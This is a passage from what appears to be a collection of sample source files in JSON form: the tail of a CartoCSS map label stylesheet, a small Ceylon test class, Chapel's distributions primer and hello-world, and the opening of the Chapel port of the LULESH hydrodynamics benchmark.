@landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'natural_sand'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@sand, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'natural_heath'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@heath, 40%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n\n  [feature = 'natural_grassland'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@grassland, 60%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'natural_scrub'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@scrub, 60%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'aeroway_apron'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@apron, 60%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'natural_beach'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@beach, 60%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'highway_services'][is_building = 'no'],\n  [feature = 'highway_rest_area'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@rest_area, 40%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n    }\n  }\n\n  [feature = 'natural_glacier'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@glacier, 40%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n    }\n  }\n\n  [feature = 'aeroway_helipad'][zoom >= 16]::aeroway {\n    text-name: \"[name]\";\n    text-size: 8;\n    text-fill: @airtransport;\n    text-dy: -10;\n    text-face-name: @bold-fonts;\n    text-halo-radius: 1;\n    text-placement: interior;\n    text-wrap-width: 30;\n  }\n\n  [feature = 'aeroway_aerodrome'][zoom >= 10][zoom < 14]::aeroway {\n    text-name: \"[name]\";\n    text-size: 8;\n    text-fill: darken(@airtransport, 15%);\n    text-dy: -10;\n    text-face-name: @oblique-fonts;\n    text-halo-radius: 1;\n    text-placement: interior;\n    text-wrap-width: 30;\n  }\n}\n"
  },
  {
    "path": "samples/Ceylon/Foo.ceylon",
    "content": "\"Test function for Ceylon\"\nby (\"Enrique\")\nshared void test() {\n    print(\"test\");\n}\n\n\"Test class for Ceylon\"\nshared class Test(name) satisfies Comparable<Test> {\n    shared String name;\n    shared actual String string = \"Test ``name``.\";\n\n    shared actual Comparison compare(Test other) {\n        return name<=>other.name;\n    }\n}\n"
  },
  {
    "path": "samples/Chapel/distributions.chpl",
    "content": "//\n// Distributions Primer\n//\n// This primer demonstrates uses of some of Chapel's standard\n// distributions.  To use these distributions in a Chapel program,\n// the respective module must be used:\n//\nuse BlockDist, CyclicDist, BlockCycDist, ReplicatedDist;\nuse DimensionalDist2D, ReplicatedDim, BlockCycDim;\n\n//\n// For each distribution, we'll create a distributed domain and array\n// and then initialize it just to give a brief flavor of how the\n// distribution maps across locales.  Running this example on 6\n// locales does a nice job of illustrating the distribution\n// characteristics.\n//\n// All of these distributions support options to map to a different\n// virtual locale grid than the one used by default (a\n// multidimensional factoring of the built-in Locales array), as well\n// as to control the amount of parallelism used in data parallel\n// loops.  See the Standard Distributions chapter of the language spec\n// for more details.\n//\n\n//\n// Make the program size configurable from the command line.\n//\nconfig const n = 8;\n\n//\n// Declare a 2-dimensional domain Space that we will later use to\n// initialize the distributed domains.\n//\nconst Space = {1..n, 1..n};\n\n//\n// The Block distribution distributes a bounding box from\n// n-dimensional space across the target locale array viewed as an\n// n-dimensional virtual locale grid.  The bounding box is blocked\n// into roughly equal portions across the locales.  Note that domains\n// declared over a Block distribution can also store indices outside\n// of the bounding box; the bounding box is merely used to compute\n// the blocking of space.\n//\n// In this example, we declare a 2-dimensional Block-distributed\n// domain BlockSpace and a Block-distributed array BA declared over\n// the domain.\n//\nconst BlockSpace = Space dmapped Block(boundingBox=Space);\nvar BA: [BlockSpace] int;\n\n//\n// To illustrate how the index set is distributed across locales,\n// we'll use a forall loop to initialize each array element to the\n// locale ID that stores that index/element/iteration.\n//\nforall ba in BA do\n  ba = here.id;\n\n//\n// The 'hasSingleLocalSubdomain' method on arrays will return true if the \n// index set for a locale can be represented by a single domain.\n//\nif !BA.hasSingleLocalSubdomain() then\n  halt(\"For a Block distribution, the index set per locale should be \\\n      represented by a single domain\");\n\n//\n// If the distribution's subdomains can be represented as single subdomain,\n// we can use the 'localSubdomain' method to get the index set for the \n// current locale.\n//\n// Below, we'll use the index set to confirm that the array elements have the \n// correct locale id.\n//\n\nfor L in Locales {\n  on L {\n    const indices = BA.localSubdomain();\n    for i in indices {\n      if BA[i] != L.id then\n        halt(\"Error: incorrect locale id\");\n    }\n  }\n}\n\n\n//\n// Output the Block-distributed array to visually see how the elements\n// are partitioned across the locales.\n//\nwriteln(\"Block Array Index Map\");\nwriteln(BA);\nwriteln();\n\n//\n// Most of Chapel's standard distributions support an optional\n// targetLocales argument that permits you to pass in your own\n// array of locales to be targeted.  In general, the targetLocales\n// argument should match the rank of the distribution.  So for\n// example, to map a Block to a [numLocales x 1] view of the\n// locale set, one could do something like this:\n\n//\n// We start by creating our own array of the locale values.  Here\n// we use the standard array reshape function for convenience,\n// but more generally, this array could be accessed/assigned like any\n// other.\n//\n\nvar MyLocaleView = {0..#numLocales, 1..1};\nvar MyLocales: [MyLocaleView] locale = reshape(Locales, MyLocaleView);\n\n//\n// Then we'll declare a distributed domain/array that targets\n// this view of the locales:\n// \n\nconst BlockSpace2 = Space dmapped Block(boundingBox=Space,\n                                        targetLocales=MyLocales);\nvar BA2: [BlockSpace2] int;\n\n//\n// Then we'll do a similar computation as before to verify where\n// everything ended up:\n//\nforall ba in BA2 do\n  ba = here.id;\n\nwriteln(\"Block Array Index Map\");\nwriteln(BA2);\nwriteln();\n\n//\n// We can use the 'targetLocales' method available on an array to get the\n// locales array used as targets.\n//\nfor (L, ML) in zip(BA2.targetLocales(), MyLocales) do\n  if L != ML then\n    halt(\"Error: BA2.targetLocales() should equal MyLocales\");\n\n\n\n//\n// Next, we'll perform a similar computation for the Cyclic distribution.\n// Cyclic distributions start at a designated n-dimensional index and\n// distribute the n-dimensional space across an n-dimensional array\n// of locales in a round-robin fashion (in each dimension).  As with\n// the Block distribution, domains may be declared using the\n// distribution who have lower indices that the starting index; that\n// value should just be considered a parameterization of how the\n// distribution is defined.\n//\nconst CyclicSpace = Space dmapped Cyclic(startIdx=Space.low);\nvar CA: [CyclicSpace] int;\n\nforall ca in CA do\n  ca = here.id;\n\nwriteln(\"Cyclic Array Index Map\");\nwriteln(CA);\nwriteln();\n\n//\n// The domain returned by 'localSubdomain' need not be a dense block, as is\n// the case for the Cyclic Distribution.\n//\non Locales[0] {\n  const indices = CA.localSubdomain();\n  for i in indices {\n    if CA[i] != 0 then\n      halt(\"Error: Cyclic array values on Locale 0 should be zero\");\n  }\n}\n\n\n//\n// Next, we'll declare a Block-Cyclic distribution.  These\n// distributions also deal out indices in a round-robin fashion,\n// but rather than dealing out singleton indices, they deal out blocks\n// of indices.  Thus, the BlockCyclic distribution is parameterized\n// by a starting index (as with Cyclic) and a block size (per\n// dimension) specifying how large the chunks to be dealt out are.\n//\nconst BlkCycSpace = Space dmapped BlockCyclic(startIdx=Space.low, \n                                              blocksize=(2, 3));\nvar BCA: [BlkCycSpace] int;\n\nforall bca in BCA do\n  bca = here.id;\n\nwriteln(\"Block-Cyclic Array Index Map\");\nwriteln(BCA);\nwriteln();\n\n//\n// A locale's index set for a Block-Cyclic distribution cannot be represented\n// by a single subdomain.\n//\nif BCA.hasSingleLocalSubdomain() then\n  halt(\"A Block-Cyclic index set cannot be represented by a single subdomain\");\n\n//\n// If the local index set cannot be represented by a single subdomain, \n// we can use the 'localSubdomains' iterator to yield a number of domains\n// that represent the whole index set.\n//\n// Let's write a function that will use 'localSubdomains' to verify the \n// correctness of the array values.\n//\n\nproc verifyID(Data: []) {\n  for L in Locales {\n    on L {\n      for indices in Data.localSubdomains() {\n        for i in indices {\n          if Data[i] != L.id then\n            halt(\"Error: incorrect locale id\");\n        }\n      }\n    }\n  }\n}\nverifyID(BCA);\n\n//\n// The 'localSubdomains' iterator is also available on distributions that\n// can represent a locale's index set with a single domain. This allows us to\n// write more general code that will work for all distributions.\n//\n// This means that we can call the 'verifyID' function on any array, like the\n// 'BA' array from earlier.\n//\nverifyID(BA);\n\n\n//\n// The ReplicatedDist distribution is different: each of the\n// original domain's indices - and the corresponding array elements -\n// is replicated onto each locale. (Note: consistency among these\n// array replicands is NOT maintained automatically.)\n//\n// This replication is observable in some cases but not others,\n// as shown below. Note: this behavior may change in the future.\n//\nconst ReplicatedSpace = Space dmapped ReplicatedDist();\nvar RA: [ReplicatedSpace] int;\n\n// The replication is observable - this visits each replicand.\nforall ra in RA do\n  ra = here.id;\n\nwriteln(\"Replicated Array Index Map, \", RA.numElements, \" elements total\");\nwriteln(RA);\nwriteln();\n\n//\n// The replication is observable when the replicated array is\n// on the left-hand side. If the right-hand side is not replicated,\n// it is copied into each replicand.\n// We illustrate this using a non-distributed array.\n//\nvar A: [Space] int = [(i,j) in Space] i*100 + j;\nRA = A;\nwriteln(\"Replicated Array after being array-assigned into\");\nwriteln(RA);\nwriteln();\n\n//\n// Analogously, each replicand will be visited and\n// other participated expressions will be computed on each locale\n// (a) when the replicated array is assigned a scalar:\n//       RA = 5;\n// (b) when it appears first in a zippered forall loop:\n//       forall (ra, a) in zip(RA, A) do ...;\n// (c) when it appears in a for loop:\n//       for ra in RA do ...;\n//\n// Zippering (RA,A) or (A,RA) in a 'for' loop will generate\n// an error due to their different number of elements.\n\n// Let RA store the Index Map again, for the examples below.\nforall ra in RA do\n  ra = here.id;\n\n//\n// Only the local replicand is accessed - replication is NOT observable\n// and consistency is NOT maintained - when:\n// (a) the replicated array is indexed - an individual element is read...\n//\non Locales(0) do\n  writeln(\"on \", here, \": \", RA(Space.low));\non Locales(LocaleSpace.high) do\n  writeln(\"on \", here, \": \", RA(Space.low));\nwriteln();\n\n// ...or an individual element is written;\non Locales(LocaleSpace.high) do\n  RA(Space.low) = 7777;\n\nwriteln(\"Replicated Array after being indexed into\");\nwriteln(RA);\nwriteln();\n\n//\n// (b) the replicated array is on the right-hand side of an assignment...\n//\non Locales(LocaleSpace.high) do\n  A = RA + 4;\nwriteln(\"Non-Replicated Array after assignment from Replicated Array + 4\");\nwriteln(A);\nwriteln();\n\n//\n// (c) ...or, generally, the replicated array or domain participates\n//     in a zippered forall loop, but not in the first position.\n//     The loop could look like:\n//\n//       forall (a, (i,j), ra) in (A, ReplicatedSpace, RA) do ...;\n//\n\n\n//\n// The DimensionalDist2D distribution lets us build a 2D distribution\n// as a composition of specifiers for individual dimensions.\n// Under such a \"dimensional\" distribution each dimension is handled\n// independently of the other.\n//\n// The dimension specifiers are similar to the corresponding multi-dimensional\n// distributions in constructor arguments and index-to-locale mapping rules.\n// However, instead of an array of locales, a specifier constructor\n// accepts just the number of locales that the indices in the corresponding\n// dimension will be distributed across.\n//\n// The DimensionalDist2D constructor requires:\n// * an [0..nl1-1, 0..nl2-1] array of locales, where\n//   nl1 and nl2 are the number of locales in each dimension, and\n// * two dimension specifiers, created for nl1 and nl2 locale counts, resp.\n//\n// Presently, the following dimension specifiers are available\n// (shown here with their constructor arguments):\n//\n// * ReplicatedDim(numLocales)\n// * BlockDim(numLocales, boundingBoxLow, boundingBoxHigh)\n// * BlockCyclicDim(lowIdx, blockSize, numLocales)\n//\n\n//\n// The following example creates a dimensional distribution that\n// replicates over 2 locales (when available) in the first dimemsion\n// and distributes using block-cyclic distribution in the second dimension.\n// The example computes nl1 and nl2 and reshapes MyLocales correspondingly.\n//\n\nvar (nl1, nl2) = if numLocales == 1 then (1, 1) else (2, numLocales/2);\nMyLocaleView = {0..#nl1, 0..#nl2};\nMyLocales = reshape(Locales[0..#nl1*nl2], MyLocaleView);\n\nconst DimReplicatedBlockcyclicSpace = Space\n  dmapped DimensionalDist2D(MyLocales,\n                            new ReplicatedDim(numLocales = nl1),\n                            new BlockCyclicDim(numLocales = nl2,\n                                               lowIdx = 1, blockSize = 2));\n\nvar DRBA: [DimReplicatedBlockcyclicSpace] int;\n\n// The ReplicatedDim specifier always accesses the local replicand.\n// (This differs from how the ReplicatedDist distribution works.)\n//\n// This example visits each replicand. The behavior is the same\n// regardless of the second index into MyLocales below.\n\nfor locId1 in 0..#nl1 do on MyLocales[locId1, 0] {\n\n  forall drba in DRBA do\n    drba = here.id;\n\n  writeln(\"Dimensional2D(Replicated,BlockCyclic) Array Index Map\",\n          \" from \", here);\n\n  // Technicality: 'writeln(DRBA)' would read DRBA always on Locale 0.\n  // Since we want to see what DRBA contains on the current locale,\n  // we use 'Helper' that is mapped using the default distribution.\n  // 'Helper = DRBA' captures the view of DRBA on the current locale,\n  // which we then print out.\n\n  const Helper: [Space] int = DRBA;\n  writeln(Helper);\n  writeln();\n\n}\n"
  },
  {
    "path": "samples/Chapel/hello.chpl",
    "content": "writeln(\"Hello, world!\");    // print 'Hello, world!' to the console\n"
  },
  {
    "path": "samples/Chapel/lulesh.chpl",
    "content": "/*\n  Derived from the DARPA/Livermore Unstructured Lagrangian Explicit\n  Shock Hydrodynamics (LULESH)\n  https://computation.llnl.gov/casc/ShockHydro/\n\n  Original port to Chapel by Brandon Holt (8/2011).  Further\n  improvements for the sake of performance and/or generality made by\n  Sung-Eun Choi (12/2011, 11/2012), Jeff Keasler (3/2012), and Brad\n  Chamberlain (3-4,9-11/2012, 2/2013).\n\n\n  Notes on the Initial Implementation\n  -----------------------------------\n   \n  This implementation was designed to mirror the overall structure of\n  the C++ Lulesh but use Chapel constructs where they can help make\n  the code more readable, easier to maintain, or more\n  'elegant'. Function names are preserved for the most part, with some\n  additional helper functions, and original comments from the C++ code\n  are interspersed approximately where they belong to give an idea of\n  how the two codes line up. One major difference for this Chapel\n  version is the use of a number of module-level variables and\n  constants.\n\n\n  Status:\n\n  This code remains a work-in-progress as we gain further experience\n  with it.  Proposed improvements are noted in the README in this\n  directory and (in some cases) in TODO comments in the code.\n\n */\n\n\n\nuse Time,       // to get timing routines for benchmarking\n    BlockDist;  // for block-distributed arrays\n\nuse luleshInit;   // initialization code for data set\n\n/* The configuration parameters for lulesh.  These can be set on the\n   compiler command line using -s<paramName>=<value>.  For example,\n\n     chpl -suseBlockDist=true\n\n   useBlockDist : says whether or not to block-distribute the arrays.\n                  The default is based on the value of CHPL_COMM, as\n                  an indication of whether this is a single- or multi-\n                  locale execution.\n\n   use3DRepresentation : indicates whether the element node arrays\n                         should be stored using a 3D representation\n                         (limiting the execution to cube inputs) or\n                         the more general 1D representation (supporting\n                         arbitrary data sets).\n\n   useSparseMaterials : indicates whether sparse domains/arrays should be\n                        used to represent the materials.  Sparse domains\n                        are more realistic in that they permit an arbitrary\n                        subset of the problem space to store a material.\n                        Dense domains are sufficient for LULESH since there's\n                        an assumption that the material spans all cells.\n\n   printWarnings : prints performance-oriented warnings to prevent\n                   surprises.\n*/\n   \nconfig param useBlockDist = (CHPL_COMM != \"none\"),\n             use3DRepresentation = false,\n             useSparseMaterials = true,\n             printWarnings = true;\n\n\n//\n// Sanity check to ensure that input files aren't used with the 3D\n// representation\n//\nif (use3DRepresentation && (luleshInit.filename != \"\")) then\n  halt(\"The 3D representation does not support reading input from files\");\n\n\n/* Configuration constants: Override defaults on executable's command-line */\n\nconfig const initialEnergy = 3.948746e+7;            // initial energy value\n\n\nconfig const showProgress = false,   // print time and dt values on each step\n             debug = false,          // print various debug info\n             doTiming = true,        // time the main timestep loop\n             printCoords = true;     // print the final computed coordinates\n\n\n/* Compile-time constants */\n\nparam XI_M        = 0x003,\n      XI_M_SYMM   = 0x001,\n      XI_M_FREE   = 0x002,\n\n      XI_P        = 0x00c,\n      XI_P_SYMM   = 0x004,\n      XI_P_FREE   = 0x008,\n\n      ETA_M       = 0x030,\n      ETA_M_SYMM  = 0x010,\n      ETA_M_FREE  = 0x020,\n\n      ETA_P       = 0x0c0,\n      ETA_P_SYMM  = 0x040,\n      ETA_P_FREE  = 0x080,\n\n      ZETA_M      = 0x300,\n      ZETA_M_SYMM = 0x100,\n      ZETA_M_FREE = 0x200,\n\n      ZETA_P      = 0xc00,\n      ZETA_P_SYMM = 0x400,\n      ZETA_P_FREE = 0x800;\n\n\n/* Set up the problem size */\n\nconst (numElems, numNodes) = initProblemSize();\n\n\n/* Declare abstract problem domains */\n\nconst ElemSpace = if use3DRepresentation\n                    then {0..#elemsPerEdge, 0..#elemsPerEdge, 0..#elemsPerEdge}\n                    else {0..#numElems},\n      NodeSpace = if use3DRepresentation\n                    then {0..#nodesPerEdge, 0..#nodesPerEdge, 0..#nodesPerEdge}\n                    else {0..#numNodes};\n\n\n/* Declare the (potentially distributed) problem domains */\n\nconst Elems = if useBlockDist then ElemSpace dmapped Block(ElemSpace)\n                              else ElemSpace,\n      Nodes = if useBlockDist then NodeSpace dmapped Block(NodeSpace)\n                              else NodeSpace;\n\n\n/* The coordinates */\n\nvar x, y, z: [Nodes] real;\n                              \n\n/* The number of nodes per element.  In a rank-independent version,\n   this could be written 2**rank */\n\nparam nodesPerElem = 8;\n\n                                 \n// We could name this, but chose not to since it doesn't add that much clarity\n//\n// const elemNeighbors = 1..nodesPerElem;\n\n\n/* The element-to-node mapping */\n\nvar elemToNode: [Elems] nodesPerElem*index(Nodes);\n\n\n/* the Greek variables */\n\nvar lxim, lxip, letam, letap, lzetam, lzetap: [Elems] index(Elems);\n\n\n/* the X, Y, Z Symmetry values */\n\nvar XSym, YSym, ZSym: sparse subdomain(Nodes);\n\n\n\n/* Constants */\n\nconst u_cut = 1.0e-7,           /* velocity tolerance */\n      hgcoef = 3.0,             /* hourglass control */\n      qstop = 1.0e+12,          /* excessive q indicator */\n      monoq_max_slope = 1.0,\n      monoq_limiter_mult = 2.0,\n      e_cut = 1.0e-7,           /* energy tolerance */\n      p_cut = 1.0e-7,           /* pressure tolerance */\n      ss4o3 = 4.0/3.0,\n      q_cut = 1.0e-7,           /* q tolerance */\n      v_cut = 1.0e-10,          /* relative volume tolerance */\n      qlc_monoq = 0.5,          /* linear term coef for q */\n      qqc_monoq = 2.0/3.0,      /* quadratic term coef for q */\n      qqc = 2.0, \n      qqc2 = 64.0 * qqc**2,\n      eosvmax = 1.0e+9,\n      eosvmin = 1.0e-9,\n      pmin = 0.0,               /* pressure floor */\n      emin = -1.0e+15,          /* energy floor */\n      dvovmax = 0.1,            /* maximum allowable volume change */\n      refdens = 1.0,            /* reference density */\n\n      deltatimemultlb = 1.1,\n      deltatimemultub = 1.2,\n      dtmax = 1.0e-2;           /* maximum allowable time increment */\n\n                              \nconfig const stoptime = 1.0e-2,      /* end time for simulation */\n             maxcycles = max(int),   /* max number of cycles to simulate */\n             dtfixed = -1.0e-7;      /* fixed time increment */\n\n\n/* The list of material elements */\n\nconst MatElems: MatElemsType = if useSparseMaterials then enumerateMatElems()\n                                                     else Elems;\n\n\nproc MatElemsType type {\n  if useSparseMaterials {\n    if (printWarnings && useBlockDist && numLocales > 1) then\n      writeln(\"WARNING: The LULESH Material Elements (MatElems) are not yet\\n\",\n              \"         distributed, so result in excessive memory use on,\\n\",\n              \"         and communication with, locale 0\\n\");\n    return sparse subdomain(Elems);\n  } else\n    return Elems.type;\n}\n\niter enumerateMatElems() {\n  if (printWarnings && useBlockDist && numLocales > 1) then\n    writeln(\"WARNING: generation of matrix elements is serial and\\n\",\n            \"         unlikely to scale\");\n  for i in Elems do\n    yield i;\n}\n\n\n/* Element fields */\n\nvar elemBC: [Elems] int,\n\n    e: [Elems] real, // energy\n    p: [Elems] real, // pressure\n\n    q: [Elems] real, // q\n    ql: [Elems] real, // linear term for q\n    qq: [Elems] real, // quadratic term for q\n\n    v:    [Elems] real = 1.0, //relative volume\n    vnew: [Elems] real,\n\n    volo: [Elems] real, // reference volume\n    delv: [Elems] real, // m_vnew - m_v\n    vdov: [Elems] real, // volume derivative over volume\n\n    arealg: [Elems] real, // elem characteristic length\n\n    ss: [Elems] real, // \"sound speed\"\n\n    elemMass: [Elems] real; // mass\n\n\n/* Nodal fields */\n\nvar xd, yd, zd: [Nodes] real, // velocities\n\n    xdd, ydd, zdd: [Nodes] real, // acceleration\n\n    fx, fy, fz: [Nodes] atomic real, // forces\n\n    nodalMass: [Nodes] real; // mass\n\n\n/* Parameters */\n\nvar time = 0.0,          // current time\n    deltatime = 1.0e-7,  // variable time increment\n    dtcourant = 1.0e20,  // courant constraint\n    dthydro = 1.0e20,    // volume change constraint\n\n    cycle = 0;           // iteration count for simulation\n\n\nproc main() {\n  if debug then writeln(\"Lulesh -- Problem Size = \", numElems);\n\n  initLulesh();\n\n  var st: real;\n  if doTiming then st = getCurrentTime();\n  while (time < stoptime && cycle < maxcycles) {\n    const iterTime = if showProgress then getCurrentTime() else 0.0;\n\n    TimeIncrement();\n\n    LagrangeLeapFrog();\n\n    if debug {\n      deprintatomic(\"[[ Forces ]]\", fx, fy, fz);\n      deprint(\"[[ Positions ]]\", x, y, z);\n      deprint(\"[[ p, e, q ]]\", p, e, q);\n    }\n    if showProgress then\n      writef(\"time = %er, dt=%er, %s\", time, deltatime,\n             if doTiming then \", elapsed = \" + (getCurrentTime()-iterTime) +\"\\n\"\n                         else \"\\n\");\n  }\n  if (cycle == maxcycles) {\n    writeln(\"Stopped early due to reaching maxnumsteps\");\n  }\n  if doTiming {\n    const et = getCurrentTime();\n    writeln(\"Total Time: \", et-st);\n    writeln(\"Time/Cycle: \", (et-st)/cycle);\n  }\n  writeln(\"Number of cycles: \", cycle);\n\n  if printCoords {\n    var outfile = open(\"coords.out\", iomode.cw);\n    var writer = outfile.writer();\n    var fmtstr = if debug then \"%1.9re %1.9er %1.9er\\n\" \n                          else \"%1.4er %1.4er %1.4er\\n\";\n    for i in Nodes do\n      writer.writef(fmtstr, x[i], y[i], z[i]);\n    writer.close();\n    outfile.close();\n  }\n}\n\n\n/* Initialization functions */\n\nproc initLulesh() {\n  // initialize the coordinates\n  initCoordinates(x,y,z);\n\n  // initialize the element to node mapping\n  initElemToNodeMapping(elemToNode);\n\n  // initialize the greek symbols\n  initGreekVars(lxim, lxip, letam, letap, lzetam, lzetap);\n\n  // initialize the symmetry plane locations\n  initXSyms(XSym);\n  initYSyms(YSym);\n  initZSyms(ZSym);\n\n  /* embed hexehedral elements in nodal point lattice */\n  //calculated on the fly using: elemToNodes(i: index(Elems)): index(Nodes)\n\n  // initialize the masses\n  initMasses();\n\n  // initialize the boundary conditions\n  const octantCorner = initBoundaryConditions();\n\n  // deposit the energy for Sedov Problem\n  e[octantCorner] = initialEnergy;\n}\n\n\nproc initMasses() {\n  // This is a temporary array used to accumulate masses in parallel\n  // without losing updates by using 'atomic' variables\n  var massAccum: [Nodes] atomic real;\n\n  forall eli in Elems {\n    var x_local, y_local, z_local: 8*real;\n    localizeNeighborNodes(eli, x, x_local, y, y_local, z, z_local);\n\n    const volume = CalcElemVolume(x_local, y_local, z_local);\n    volo[eli] = volume;\n    elemMass[eli] = volume;\n\n    for neighbor in elemToNodes[eli] do\n      massAccum[neighbor].add(volume);\n  }\n\n  // When we're done, copy the accumulated masses into nodalMass, at\n  // which point the massAccum array can go away (and will at the\n  // procedure's return\n\n  forall i in Nodes do\n    nodalMass[i] = massAccum[i].read() / 8.0;\n\n  if debug {\n    writeln(\"ElemMass:\");\n    for mass in elemMass do writeln(mass);\n\n    writeln(\"NodalMass:\");\n    for mass in nodalMass do writeln(mass);\n  }\n}\n\n\nproc initBoundaryConditions() {\n  var surfaceNode: [Nodes] int;\n\n  forall n in XSym do\n    surfaceNode[n] = 1;\n  forall n in YSym do\n    surfaceNode[n] = 1;\n  forall n in ZSym do\n    surfaceNode[n] = 1;\n\n  forall e in Elems do {\n    var mask: int;\n    for i in 1..nodesPerElem do\n      mask += surfaceNode[elemToNode[e][i]] << (i-1);\n\n    // TODO: make an inlined function for this little idiom? (and below)\n\n    if ((mask & 0x0f) == 0x0f) then elemBC[e] |= ZETA_M_SYMM;\n    if ((mask & 0xf0) == 0xf0) then elemBC[e] |= ZETA_P_SYMM;\n    if ((mask & 0x33) == 0x33) then elemBC[e] |= ETA_M_SYMM;\n    if ((mask & 0xcc) == 0xcc) then elemBC[e] |= ETA_P_SYMM;\n    if ((mask & 0x99) == 0x99) then elemBC[e] |= XI_M_SYMM;\n    if ((mask & 0x66) == 0x66) then elemBC[e] |= XI_P_SYMM;\n  }\n\n\n  //\n  // We find the octant corner by looking for the element with\n  // all three SYMM flags set, which will have the largest\n  // integral value.  Thus, we can use a maxloc to identify it.\n  //\n  const (check, loc) = maxloc reduce zip(elemBC, Elems);\n\n  if debug then writeln(\"Found the octant corner at: \", loc);\n\n  if (check != (XI_M_SYMM | ETA_M_SYMM | ZETA_M_SYMM)) then\n    halt(\"maxloc got a value of \", check, \" at loc \", loc);\n\n  // TODO: This is an example of an array that, in a distributed\n  // memory code, would typically be completely local and only storing\n  // the local nodes owned by the locale -- noting that some nodes\n  // are logically owned by multiple locales and therefore would \n  // redundantly be stored in both locales' surfaceNode arrays -- it's\n  // essentially local scratchspace that does not need to be communicated\n  // or kept coherent across locales.\n  //\n\n  surfaceNode = 0;\n\n  /* the free surfaces */\n\n  var freeSurface: sparse subdomain(Nodes);\n\n  // initialize the free 